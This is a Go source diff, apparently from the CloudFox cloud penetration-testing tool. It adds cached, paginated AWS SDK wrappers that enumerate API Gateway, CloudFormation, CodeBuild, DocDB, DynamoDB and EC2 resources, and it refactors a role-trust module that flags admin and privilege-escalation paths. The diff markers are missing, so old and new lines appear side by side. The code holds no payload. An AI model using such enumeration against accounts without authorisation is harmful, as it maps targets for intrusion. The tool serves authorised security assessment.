column2 = "Cognito" // (" + statement.Principal.Federated[0] + ")"
|
||||
if statement.Condition.ForAnyValueStringLike.CognitoAMR != "" {
|
||||
column3 = statement.Condition.ForAnyValueStringLike.CognitoAMR
|
||||
}
|
||||
} else {
|
||||
if column2 == "" && strings.Contains(statement.Principal.Federated[0], "oidc.eks") {
|
||||
column2 = "EKS (" + statement.Principal.Federated[0] + ")"
|
||||
column2 = "EKS" // (" + statement.Principal.Federated[0] + ")"
|
||||
column3 = "ALL SERVICE ACCOUNTS!"
|
||||
} else if column2 == "" && strings.Contains(statement.Principal.Federated[0], "AWSSSO") {
|
||||
column2 = "AWS SSO (" + statement.Principal.Federated[0] + ")"
|
||||
column2 = "AWS SSO" // (" + statement.Principal.Federated[0] + ")"
|
||||
}
|
||||
|
||||
}
|
||||
@@ -297,50 +414,31 @@ func (m *RoleTrustsModule) sortTrustsTablePerTrustedPrincipal() {
|
||||
}
|
||||
|
||||
func (m *RoleTrustsModule) getAllRoleTrusts() {
|
||||
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
|
||||
var PaginationMarker *string
|
||||
ListRoles, err := sdk.CachedIamListRoles(m.IAMClient, aws.ToString(m.Caller.Account))
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
}
|
||||
|
||||
// This for loop exits at the end depending on whether the output hits its last page (see pagination control block at the end of the loop).
|
||||
for {
|
||||
results, err := m.IAMClientListRoles.ListRoles(
|
||||
context.TODO(),
|
||||
&iam.ListRolesInput{
|
||||
Marker: PaginationMarker,
|
||||
},
|
||||
)
|
||||
for _, role := range ListRoles {
|
||||
trustsdoc, err := parseRoleTrustPolicyDocument(role)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
break
|
||||
}
|
||||
|
||||
for _, role := range results.Roles {
|
||||
trustsdoc, err := parseRoleTrustPolicyDocument(role)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
break
|
||||
}
|
||||
|
||||
if role.Arn != nil {
|
||||
m.AnalyzedRoles = append(m.AnalyzedRoles, AnalyzedRole{
|
||||
roleARN: role.Arn,
|
||||
trustsDoc: trustsdoc,
|
||||
Admin: "",
|
||||
CanPrivEsc: "",
|
||||
})
|
||||
}
|
||||
|
||||
if role.Arn != nil {
|
||||
m.AnalyzedRoles = append(m.AnalyzedRoles, AnalyzedRole{
|
||||
roleARN: role.Arn,
|
||||
trustsDoc: trustsdoc,
|
||||
Admin: "",
|
||||
CanPrivEsc: "",
|
||||
})
|
||||
}
|
||||
|
||||
// Pagination control. After the last page of output, the for loop exits.
|
||||
if results.IsTruncated {
|
||||
PaginationMarker = results.Marker
|
||||
} else {
|
||||
PaginationMarker = nil
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func parseRoleTrustPolicyDocument(role types.Role) (trustPolicyDocument, error) {
|
||||
|
||||
+19
-3
@@ -83,11 +83,27 @@ func (m *Route53Module) PrintRoute53(outputFormat string, outputDirectory string
|
||||
}
|
||||
if len(m.output.Body) > 0 {
|
||||
|
||||
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
|
||||
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
|
||||
//m.output.OutputSelector(outputFormat)
|
||||
//utils.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
|
||||
internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
|
||||
m.writeLoot(m.output.FilePath, verbosity)
|
||||
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
|
||||
//m.writeLoot(m.output.FilePath, verbosity)
|
||||
o := internal.OutputClient{
|
||||
Verbosity: verbosity,
|
||||
CallingModule: m.output.CallingModule,
|
||||
Table: internal.TableClient{
|
||||
Wrap: m.WrapTable,
|
||||
},
|
||||
}
|
||||
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
|
||||
Header: m.output.Headers,
|
||||
Body: m.output.Body,
|
||||
Name: m.output.CallingModule,
|
||||
})
|
||||
o.PrefixIdentifier = m.AWSProfile
|
||||
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
|
||||
o.WriteFullOutput(o.Table.TableFiles, nil)
|
||||
m.writeLoot(o.Table.DirectoryName, verbosity)
|
||||
fmt.Printf("[%s][%s] %s DNS records found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
|
||||
|
||||
} else {
|
||||
|
||||
@@ -0,0 +1,56 @@
|
||||
package sdk
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/gob"
|
||||
"fmt"
|
||||
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/aws-sdk-go-v2/service/apigateway"
|
||||
apiGatewayTypes "github.com/aws/aws-sdk-go-v2/service/apigateway/types"
|
||||
)
|
||||
|
||||
type APIGatewayClientInterface interface {
|
||||
GetRestApis(context.Context, *apigateway.GetRestApisInput, ...func(*apigateway.Options)) (*apigateway.GetRestApisOutput, error)
|
||||
}
|
||||
|
||||
func RegisterApiGatewayTypes() {
|
||||
gob.Register([]apiGatewayTypes.RestApi{})
|
||||
}
|
||||
|
||||
// create a CachedApiGatewayGetRestAPIs function that accepts a client, account id, region. Make sure it handles caching, the region option and pagination
|
||||
func CachedApiGatewayGetRestAPIs(client APIGatewayClientInterface, accountID string, region string) ([]apiGatewayTypes.RestApi, error) {
|
||||
var PaginationControl *string
|
||||
var restAPIs []apiGatewayTypes.RestApi
|
||||
cacheKey := fmt.Sprintf("%s-apigateway-GetRestApis-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
return cached.([]apiGatewayTypes.RestApi), nil
|
||||
}
|
||||
|
||||
for {
|
||||
GetRestApis, err := client.GetRestApis(
|
||||
context.TODO(),
|
||||
&apigateway.GetRestApisInput{
|
||||
Position: PaginationControl,
|
||||
},
|
||||
func(o *apigateway.Options) {
|
||||
o.Region = region
|
||||
},
|
||||
)
|
||||
|
||||
if err != nil {
|
||||
return restAPIs, err
|
||||
}
|
||||
|
||||
restAPIs = append(restAPIs, GetRestApis.Items...)
|
||||
|
||||
//pagination
|
||||
if GetRestApis.Position == nil {
|
||||
break
|
||||
}
|
||||
PaginationControl = GetRestApis.Position
|
||||
}
|
||||
|
||||
return restAPIs, nil
|
||||
}
|
||||
@@ -0,0 +1,57 @@
|
||||
package sdk
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/gob"
|
||||
"fmt"
|
||||
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/aws-sdk-go-v2/service/apigatewayv2"
|
||||
apiGatwayV2Types "github.com/aws/aws-sdk-go-v2/service/apigatewayv2/types"
|
||||
|
||||
"github.com/patrickmn/go-cache"
|
||||
)
|
||||
|
||||
type APIGatewayv2ClientInterface interface {
|
||||
GetApis(context.Context, *apigatewayv2.GetApisInput, ...func(*apigatewayv2.Options)) (*apigatewayv2.GetApisOutput, error)
|
||||
}
|
||||
|
||||
func RegisterApiGatewayV2Types() {
|
||||
gob.Register([]apiGatwayV2Types.Api{})
|
||||
}
|
||||
|
||||
func CachedAPIGatewayv2GetAPIs(client APIGatewayv2ClientInterface, accountID string, region string) ([]apiGatwayV2Types.Api, error) {
|
||||
var PaginationControl *string
|
||||
var apis []apiGatwayV2Types.Api
|
||||
cacheKey := fmt.Sprintf("%s-apigatewayv2-GetApis-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
return cached.([]apiGatwayV2Types.Api), nil
|
||||
}
|
||||
for {
|
||||
GetApis, err := client.GetApis(
|
||||
context.TODO(),
|
||||
&apigatewayv2.GetApisInput{
|
||||
NextToken: PaginationControl,
|
||||
},
|
||||
func(o *apigatewayv2.Options) {
|
||||
o.Region = region
|
||||
},
|
||||
)
|
||||
|
||||
if err != nil {
|
||||
return apis, err
|
||||
}
|
||||
|
||||
apis = append(apis, GetApis.Items...)
|
||||
|
||||
//pagination
|
||||
if GetApis.NextToken == nil {
|
||||
break
|
||||
}
|
||||
PaginationControl = GetApis.NextToken
|
||||
}
|
||||
|
||||
internal.Cache.Set(cacheKey, apis, cache.DefaultExpiration)
|
||||
return apis, nil
|
||||
}
|
||||
@@ -0,0 +1,57 @@
|
||||
package sdk
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/gob"
|
||||
"fmt"
|
||||
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/aws-sdk-go-v2/service/apprunner"
|
||||
apprunnerTypes "github.com/aws/aws-sdk-go-v2/service/apprunner/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
)
|
||||
|
||||
type AppRunnerClientInterface interface {
|
||||
ListServices(context.Context, *apprunner.ListServicesInput, ...func(*apprunner.Options)) (*apprunner.ListServicesOutput, error)
|
||||
}
|
||||
|
||||
func RegisterApprunnerTypes() {
|
||||
gob.Register([]apprunnerTypes.Service{})
|
||||
gob.Register([]apprunnerTypes.ServiceSummary{})
|
||||
}
|
||||
|
||||
func CachedAppRunnerListServices(client AppRunnerClientInterface, accountID string, region string) ([]apprunnerTypes.ServiceSummary, error) {
|
||||
var PaginationControl *string
|
||||
var services []apprunnerTypes.ServiceSummary
|
||||
cacheKey := fmt.Sprintf("%s-apprunner-ListServices-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
return cached.([]apprunnerTypes.ServiceSummary), nil
|
||||
}
|
||||
for {
|
||||
ListServices, err := client.ListServices(
|
||||
context.TODO(),
|
||||
&apprunner.ListServicesInput{
|
||||
NextToken: PaginationControl,
|
||||
},
|
||||
func(o *apprunner.Options) {
|
||||
o.Region = region
|
||||
},
|
||||
)
|
||||
|
||||
if err != nil {
|
||||
return services, err
|
||||
}
|
||||
|
||||
services = append(services, ListServices.ServiceSummaryList...)
|
||||
|
||||
//pagination
|
||||
if ListServices.NextToken == nil {
|
||||
break
|
||||
}
|
||||
PaginationControl = ListServices.NextToken
|
||||
}
|
||||
|
||||
internal.Cache.Set(cacheKey, services, cache.DefaultExpiration)
|
||||
return services, nil
|
||||
}
|
||||
@@ -0,0 +1,119 @@
|
||||
package sdk
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/gob"
|
||||
"fmt"
|
||||
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/aws-sdk-go-v2/aws"
|
||||
"github.com/aws/aws-sdk-go-v2/service/cloudformation"
|
||||
cloudFormationTypes "github.com/aws/aws-sdk-go-v2/service/cloudformation/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
)
|
||||
|
||||
type CloudFormationClientInterface interface {
|
||||
GetTemplate(context.Context, *cloudformation.GetTemplateInput, ...func(*cloudformation.Options)) (*cloudformation.GetTemplateOutput, error)
|
||||
DescribeStacks(context.Context, *cloudformation.DescribeStacksInput, ...func(*cloudformation.Options)) (*cloudformation.DescribeStacksOutput, error)
|
||||
ListStacks(context.Context, *cloudformation.ListStacksInput, ...func(*cloudformation.Options)) (*cloudformation.ListStacksOutput, error)
|
||||
}
|
||||
|
||||
func RegisterCloudFormationTypes() {
|
||||
gob.Register([]cloudFormationTypes.Stack{})
|
||||
gob.Register([]cloudFormationTypes.StackSummary{})
|
||||
}
|
||||
|
||||
func CachedCloudFormationDescribeStacks(client CloudFormationClientInterface, accountID string, region string) ([]cloudFormationTypes.Stack, error) {
|
||||
var PaginationControl *string
|
||||
var stacks []cloudFormationTypes.Stack
|
||||
cacheKey := fmt.Sprintf("%s-cloudformation-DescribeStacks-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
return cached.([]cloudFormationTypes.Stack), nil
|
||||
}
|
||||
for {
|
||||
DescribeStacks, err := client.DescribeStacks(
|
||||
context.TODO(),
|
||||
&cloudformation.DescribeStacksInput{
|
||||
NextToken: PaginationControl,
|
||||
},
|
||||
func(o *cloudformation.Options) {
|
||||
o.Region = region
|
||||
},
|
||||
)
|
||||
|
||||
if err != nil {
|
||||
return stacks, err
|
||||
}
|
||||
|
||||
stacks = append(stacks, DescribeStacks.Stacks...)
|
||||
//pagination
|
||||
if DescribeStacks.NextToken == nil {
|
||||
break
|
||||
}
|
||||
PaginationControl = DescribeStacks.NextToken
|
||||
}
|
||||
|
||||
internal.Cache.Set(cacheKey, stacks, cache.DefaultExpiration)
|
||||
return stacks, nil
|
||||
}
|
||||
|
||||
func CachedCloudFormationGetTemplate(client CloudFormationClientInterface, accountID string, region string, stackName string) (string, error) {
|
||||
var stackTemplateBody string
|
||||
cacheKey := fmt.Sprintf("%s-cloudformation-GetTemplate-%s-%s", accountID, region, stackName)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
return cached.(string), nil
|
||||
}
|
||||
|
||||
GetTemplate, err := client.GetTemplate(
|
||||
context.TODO(),
|
||||
&cloudformation.GetTemplateInput{
|
||||
StackName: &stackName,
|
||||
}, func(o *cloudformation.Options) {
|
||||
o.Region = region
|
||||
},
|
||||
)
|
||||
|
||||
if err != nil {
|
||||
return stackTemplateBody, err
|
||||
}
|
||||
stackTemplateBody = aws.ToString(GetTemplate.TemplateBody)
|
||||
internal.Cache.Set(cacheKey, *GetTemplate.TemplateBody, cache.DefaultExpiration)
|
||||
return stackTemplateBody, nil
|
||||
}
|
||||
|
||||
func CachedCloudFormationListStacks(client CloudFormationClientInterface, accountID string, region string) ([]cloudFormationTypes.StackSummary, error) {
|
||||
var PaginationControl *string
|
||||
var stacks []cloudFormationTypes.StackSummary
|
||||
cacheKey := fmt.Sprintf("%s-cloudformation-ListStacks-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
return cached.([]cloudFormationTypes.StackSummary), nil
|
||||
}
|
||||
for {
|
||||
ListStacks, err := client.ListStacks(
|
||||
context.TODO(),
|
||||
&cloudformation.ListStacksInput{
|
||||
NextToken: PaginationControl,
|
||||
},
|
||||
func(o *cloudformation.Options) {
|
||||
o.Region = region
|
||||
},
|
||||
)
|
||||
|
||||
if err != nil {
|
||||
return stacks, err
|
||||
}
|
||||
|
||||
stacks = append(stacks, ListStacks.StackSummaries...)
|
||||
//pagination
|
||||
if ListStacks.NextToken == nil {
|
||||
break
|
||||
}
|
||||
PaginationControl = ListStacks.NextToken
|
||||
}
|
||||
|
||||
internal.Cache.Set(cacheKey, stacks, cache.DefaultExpiration)
|
||||
return stacks, nil
|
||||
}
|
||||
@@ -0,0 +1,118 @@
|
||||
package sdk
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/gob"
|
||||
"fmt"
|
||||
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/aws-sdk-go-v2/aws"
|
||||
"github.com/aws/aws-sdk-go-v2/service/codebuild"
|
||||
codeBuildTypes "github.com/aws/aws-sdk-go-v2/service/codebuild/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
)
|
||||
|
||||
type CodeBuildClientInterface interface {
|
||||
ListProjects(ctx context.Context, params *codebuild.ListProjectsInput, optFns ...func(*codebuild.Options)) (*codebuild.ListProjectsOutput, error)
|
||||
BatchGetProjects(ctx context.Context, params *codebuild.BatchGetProjectsInput, optFns ...func(*codebuild.Options)) (*codebuild.BatchGetProjectsOutput, error)
|
||||
GetResourcePolicy(ctx context.Context, params *codebuild.GetResourcePolicyInput, optFns ...func(*codebuild.Options)) (*codebuild.GetResourcePolicyOutput, error)
|
||||
}
|
||||
|
||||
func RegisterCodeBuildTypes() {
|
||||
gob.Register(codeBuildTypes.Project{})
|
||||
|
||||
}
|
||||
|
||||
// create a CachedCodeBuildListProjects function that accepts a codebuild client, account id, and region. Make sure it handles the region option and pagination
|
||||
func CachedCodeBuildListProjects(CodeBuildClient CodeBuildClientInterface, accountID string, region string) ([]string, error) {
|
||||
var PaginationControl *string
|
||||
var projects []string
|
||||
cacheKey := fmt.Sprintf("%s-codebuild-ListProjects", accountID)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
return cached.([]string), nil
|
||||
}
|
||||
|
||||
for {
|
||||
ListProjects, err := CodeBuildClient.ListProjects(
|
||||
context.TODO(),
|
||||
&codebuild.ListProjectsInput{
|
||||
NextToken: PaginationControl,
|
||||
},
|
||||
func(o *codebuild.Options) {
|
||||
o.Region = region
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
sharedLogger.Error(err.Error())
|
||||
break
|
||||
}
|
||||
|
||||
projects = append(projects, ListProjects.Projects...)
|
||||
|
||||
// Pagination control.
|
||||
if ListProjects.NextToken != nil {
|
||||
PaginationControl = ListProjects.NextToken
|
||||
} else {
|
||||
PaginationControl = nil
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
internal.Cache.Set(cacheKey, projects, cache.DefaultExpiration)
|
||||
return projects, nil
|
||||
|
||||
}
|
||||
|
||||
// create a CachedCodeBuildBatchGetProjects function that accepts a codebuild client, account id, region, and a single projectId. Make sure it handles the region option and pagination
|
||||
func CachedCodeBuildBatchGetProjects(CodeBuildClient CodeBuildClientInterface, accountID string, region string, projectID string) (codeBuildTypes.Project, error) {
|
||||
project := codeBuildTypes.Project{}
|
||||
cacheKey := fmt.Sprintf("%s-codebuild-BatchGetProjects-%s-%s", accountID, region, projectID)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
return cached.(codeBuildTypes.Project), nil
|
||||
}
|
||||
|
||||
BatchGetProjects, err := CodeBuildClient.BatchGetProjects(
|
||||
context.TODO(),
|
||||
&codebuild.BatchGetProjectsInput{
|
||||
Names: []string{projectID},
|
||||
},
|
||||
func(o *codebuild.Options) {
|
||||
o.Region = region
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
sharedLogger.Error(err.Error())
|
||||
return project, err
|
||||
}
|
||||
|
||||
internal.Cache.Set(cacheKey, BatchGetProjects.Projects[0], cache.DefaultExpiration)
|
||||
return BatchGetProjects.Projects[0], nil
|
||||
}
|
||||
|
||||
// create a CachedCodeBuildGetResourcePolicy function that accepts a codebuild client, account id, region, and a single projectId. Make sure it handles the region option and pagination
|
||||
func CachedCodeBuildGetResourcePolicy(CodeBuildClient CodeBuildClientInterface, accountID string, region string, projectID string) (string, error) {
|
||||
cacheKey := fmt.Sprintf("%s-codebuild-GetResourcePolicy-%s-%s", accountID, region, projectID)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
return cached.(string), nil
|
||||
}
|
||||
|
||||
GetResourcePolicy, err := CodeBuildClient.GetResourcePolicy(
|
||||
context.TODO(),
|
||||
&codebuild.GetResourcePolicyInput{
|
||||
ResourceArn: aws.String("arn:aws:codebuild:" + region + ":" + accountID + ":project/" + projectID),
|
||||
},
|
||||
func(o *codebuild.Options) {
|
||||
o.Region = region
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
sharedLogger.Error(err.Error())
|
||||
return "", err
|
||||
}
|
||||
|
||||
internal.Cache.Set(cacheKey, GetResourcePolicy, cache.DefaultExpiration)
|
||||
return aws.ToString(GetResourcePolicy.Policy), nil
|
||||
}
|
||||
@@ -0,0 +1,141 @@
|
||||
package sdk
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/gob"
|
||||
"fmt"
|
||||
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/aws-sdk-go-v2/aws"
|
||||
"github.com/aws/aws-sdk-go-v2/service/docdb"
|
||||
docdbTypes "github.com/aws/aws-sdk-go-v2/service/docdb/types"
|
||||
|
||||
"github.com/patrickmn/go-cache"
|
||||
)
|
||||
|
||||
type DocDBClientInterface interface {
|
||||
DescribeGlobalClusters(context.Context, *docdb.DescribeGlobalClustersInput, ...func(*docdb.Options)) (*docdb.DescribeGlobalClustersOutput, error)
|
||||
DescribeDBClusters(context.Context, *docdb.DescribeDBClustersInput, ...func(*docdb.Options)) (*docdb.DescribeDBClustersOutput, error)
|
||||
DescribeDBInstances(context.Context, *docdb.DescribeDBInstancesInput, ...func(*docdb.Options)) (*docdb.DescribeDBInstancesOutput, error)
|
||||
}
|
||||
|
||||
func RegisterDocDBTypes() {
|
||||
gob.Register([]docdbTypes.GlobalCluster{})
|
||||
gob.Register([]docdbTypes.DBCluster{})
|
||||
//gob.Register([]docdbTypes.DBInstance{})
|
||||
|
||||
}
|
||||
|
||||
func CachedDocDBDescribeGlobalClusters(client DocDBClientInterface, accountID string, region string) ([]docdbTypes.GlobalCluster, error) {
|
||||
var PaginationControl *string
|
||||
var globalClusters []docdbTypes.GlobalCluster
|
||||
cacheKey := fmt.Sprintf("%s-docdb-DescribeGlobalClusters-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
return cached.([]docdbTypes.GlobalCluster), nil
|
||||
}
|
||||
for {
|
||||
DescribeGlobalClusters, err := client.DescribeGlobalClusters(
|
||||
context.TODO(),
|
||||
&docdb.DescribeGlobalClustersInput{
|
||||
Marker: PaginationControl,
|
||||
},
|
||||
func(o *docdb.Options) {
|
||||
o.Region = region
|
||||
},
|
||||
)
|
||||
|
||||
if err != nil {
|
||||
return globalClusters, err
|
||||
}
|
||||
|
||||
globalClusters = append(globalClusters, DescribeGlobalClusters.GlobalClusters...)
|
||||
|
||||
//pagination
|
||||
if DescribeGlobalClusters.Marker == nil {
|
||||
break
|
||||
}
|
||||
PaginationControl = DescribeGlobalClusters.Marker
|
||||
}
|
||||
|
||||
internal.Cache.Set(cacheKey, globalClusters, cache.DefaultExpiration)
|
||||
return globalClusters, nil
|
||||
}
|
||||
|
||||
func CachedDocDBDescribeDBClusters(client DocDBClientInterface, accountID string, region string) ([]docdbTypes.DBCluster, error) {
|
||||
var PaginationControl *string
|
||||
var dbClusters []docdbTypes.DBCluster
|
||||
cacheKey := fmt.Sprintf("%s-docdb-DescribeDBClusters-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
return cached.([]docdbTypes.DBCluster), nil
|
||||
}
|
||||
for {
|
||||
DescribeDBClusters, err := client.DescribeDBClusters(
|
||||
context.TODO(),
|
||||
&docdb.DescribeDBClustersInput{
|
||||
Marker: PaginationControl,
|
||||
Filters: []docdbTypes.Filter{
|
||||
{
|
||||
Name: aws.String("engine"),
|
||||
Values: []string{"docdb"},
|
||||
},
|
||||
},
|
||||
},
|
||||
func(o *docdb.Options) {
|
||||
o.Region = region
|
||||
},
|
||||
)
|
||||
|
||||
if err != nil {
|
||||
return dbClusters, err
|
||||
}
|
||||
|
||||
dbClusters = append(dbClusters, DescribeDBClusters.DBClusters...)
|
||||
|
||||
//pagination
|
||||
if DescribeDBClusters.Marker == nil {
|
||||
break
|
||||
}
|
||||
PaginationControl = DescribeDBClusters.Marker
|
||||
}
|
||||
|
||||
internal.Cache.Set(cacheKey, dbClusters, cache.DefaultExpiration)
|
||||
return dbClusters, nil
|
||||
}
|
||||
|
||||
func CachedDocDBDescribeDBInstances(client DocDBClientInterface, accountID string, region string) ([]docdbTypes.DBInstance, error) {
|
||||
var PaginationControl *string
|
||||
var dbInstances []docdbTypes.DBInstance
|
||||
cacheKey := fmt.Sprintf("%s-docdb-DescribeDBInstances-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
return cached.([]docdbTypes.DBInstance), nil
|
||||
}
|
||||
for {
|
||||
DescribeDBInstances, err := client.DescribeDBInstances(
|
||||
context.TODO(),
|
||||
&docdb.DescribeDBInstancesInput{
|
||||
Marker: PaginationControl,
|
||||
},
|
||||
func(o *docdb.Options) {
|
||||
o.Region = region
|
||||
},
|
||||
)
|
||||
|
||||
if err != nil {
|
||||
return dbInstances, err
|
||||
}
|
||||
|
||||
dbInstances = append(dbInstances, DescribeDBInstances.DBInstances...)
|
||||
|
||||
//pagination
|
||||
if DescribeDBInstances.Marker == nil {
|
||||
break
|
||||
}
|
||||
PaginationControl = DescribeDBInstances.Marker
|
||||
}
|
||||
|
||||
internal.Cache.Set(cacheKey, dbInstances, cache.DefaultExpiration)
|
||||
return dbInstances, nil
|
||||
}
|
||||
@@ -0,0 +1,85 @@
|
||||
package sdk
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/gob"
|
||||
"fmt"
|
||||
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/aws-sdk-go-v2/service/dynamodb"
|
||||
dynamoDBTypes "github.com/aws/aws-sdk-go-v2/service/dynamodb/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
)
|
||||
|
||||
type DynamoDBClientInterface interface {
|
||||
ListTables(context.Context, *dynamodb.ListTablesInput, ...func(*dynamodb.Options)) (*dynamodb.ListTablesOutput, error)
|
||||
DescribeTable(context.Context, *dynamodb.DescribeTableInput, ...func(*dynamodb.Options)) (*dynamodb.DescribeTableOutput, error)
|
||||
}
|
||||
|
||||
func RegisterDynamoDBTypes() {
|
||||
gob.Register([]string{})
|
||||
gob.Register(dynamoDBTypes.TableDescription{})
|
||||
}
|
||||
|
||||
func CachedDynamoDBListTables(client DynamoDBClientInterface, accountID string, region string) ([]string, error) {
|
||||
var PaginationControl *string
|
||||
var tables []string
|
||||
cacheKey := fmt.Sprintf("%s-dynamodb-ListTables-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
return cached.([]string), nil
|
||||
}
|
||||
for {
|
||||
ListTables, err := client.ListTables(
|
||||
context.TODO(),
|
||||
&dynamodb.ListTablesInput{
|
||||
ExclusiveStartTableName: PaginationControl,
|
||||
},
|
||||
func(o *dynamodb.Options) {
|
||||
o.Region = region
|
||||
},
|
||||
)
|
||||
|
||||
if err != nil {
|
||||
return tables, err
|
||||
}
|
||||
|
||||
tables = append(tables, ListTables.TableNames...)
|
||||
|
||||
//pagination
|
||||
if ListTables.LastEvaluatedTableName == nil {
|
||||
break
|
||||
}
|
||||
PaginationControl = ListTables.LastEvaluatedTableName
|
||||
}
|
||||
|
||||
internal.Cache.Set(cacheKey, tables, cache.DefaultExpiration)
|
||||
return tables, nil
|
||||
}
|
||||
|
||||
func CachedDynamoDBDescribeTable(client DynamoDBClientInterface, accountID string, region string, tableName string) (dynamoDBTypes.TableDescription, error) {
|
||||
var tableDescription dynamoDBTypes.TableDescription
|
||||
cacheKey := fmt.Sprintf("%s-dynamodb-DescribeTable-%s-%s", accountID, region, tableName)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
return cached.(dynamoDBTypes.TableDescription), nil
|
||||
}
|
||||
|
||||
DescribeTable, err := client.DescribeTable(
|
||||
context.TODO(),
|
||||
&dynamodb.DescribeTableInput{
|
||||
TableName: &tableName,
|
||||
},
|
||||
func(o *dynamodb.Options) {
|
||||
o.Region = region
|
||||
},
|
||||
)
|
||||
|
||||
if err != nil {
|
||||
return tableDescription, err
|
||||
}
|
||||
tableDescription = *DescribeTable.Table
|
||||
|
||||
internal.Cache.Set(cacheKey, tableDescription, cache.DefaultExpiration)
|
||||
return tableDescription, nil
|
||||
}
|
||||
@@ -0,0 +1,58 @@
|
||||
package sdk
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/gob"
|
||||
"fmt"
|
||||
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/aws-sdk-go-v2/service/ec2"
|
||||
ec2Types "github.com/aws/aws-sdk-go-v2/service/ec2/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
)
|
||||
|
||||
type EC2ClientInterface interface {
|
||||
DescribeInstances(context.Context, *ec2.DescribeInstancesInput, ...func(*ec2.Options)) (*ec2.DescribeInstancesOutput, error)
|
||||
}
|
||||
|
||||
func RegisterEC2Types() {
|
||||
gob.Register([]ec2Types.Instance{})
|
||||
}
|
||||
|
||||
func CachedEC2DescribeInstances(client EC2ClientInterface, accountID string, region string) ([]ec2Types.Instance, error) {
|
||||
var PaginationControl *string
|
||||
var instances []ec2Types.Instance
|
||||
cacheKey := fmt.Sprintf("%s-ec2-DescribeInstances-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
return cached.([]ec2Types.Instance), nil
|
||||
}
|
||||
for {
|
||||
DescribeInstances, err := client.DescribeInstances(
|
||||
context.TODO(),
|
||||
&ec2.DescribeInstancesInput{
|
||||
NextToken: PaginationControl,
|
||||
},
|
||||
func(o *ec2.Options) {
|
||||
o.Region = region
|
||||
},
|
||||
)
|
||||
|
||||
if err != nil {
|
||||
return instances, err
|
||||
}
|
||||
|
||||
for _, reservation := range DescribeInstances.Reservations {
|
||||
instances = append(instances, reservation.Instances...)
|
||||
}
|
||||
|
||||
//pagination
|
||||
if DescribeInstances.NextToken == nil {
|
||||
break
|
||||
}
|
||||
PaginationControl = DescribeInstances.NextToken
|
||||
}
|
||||
|
||||
internal.Cache.Set(cacheKey, instances, cache.DefaultExpiration)
|
||||
return instances, nil
|
||||
}
|
||||
+136
@@ -0,0 +1,136 @@
|
||||
package sdk
|
||||
|
||||
import (
|
||||
"context"
|
